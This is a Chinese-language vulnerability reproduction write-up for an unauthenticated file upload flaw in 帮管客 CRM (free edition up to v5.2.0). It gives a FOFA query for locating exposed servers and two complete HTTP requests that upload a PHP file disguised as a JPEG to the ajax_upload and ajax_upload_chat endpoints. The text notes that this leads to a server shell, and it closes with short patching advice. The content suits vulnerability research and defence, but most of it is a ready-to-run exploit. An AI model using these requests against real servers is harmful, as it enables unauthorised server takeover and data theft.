0x01 产品简介
帮管客CRM是一款集客户档案、销售记录、业务往来等功能于一体的客户管理系统。帮管客CRM客户管理系统，客户管理，从未如此简单，一个平台满足企业全方位的销售跟进、智能化服务管理、高效的沟通协同、图表化数据分析帮管客颠覆传统，重新定义企业管理系统。
0x02 漏洞概述
帮管客CRM ajax_upload_chat、ajax_upload等接口处存在文件上传漏洞，未经授权的攻击者可利用该漏洞获取服务器权限。
0x03 影响范围
帮管客CRM客户管理系统免费版 <= v5.2.0
0x04 复现环境
FOFA：app="帮管客-CRM"
0x05 漏洞复现
PoC-1
POST /index.php/upload/ajax_upload HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryv1WbOn5o
------WebKitFormBoundaryv1WbOn5o
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/jpeg
<?php
phpinfo();unlink(__FILE__);
------WebKitFormBoundaryv1WbOn5o--
回显了上传路径
PoC-2
POST /index.php/upload/ajax_upload_chat?type=image HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryv1WbOn5o
------WebKitFormBoundaryv1WbOn5o
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/jpeg
<?php
phpinfo();unlink(__FILE__);
------WebKitFormBoundaryv1WbOn5o--
验证
GetShell
0x06 修复建议
关闭互联网暴露面或接口设置访问权限
升级至安全版本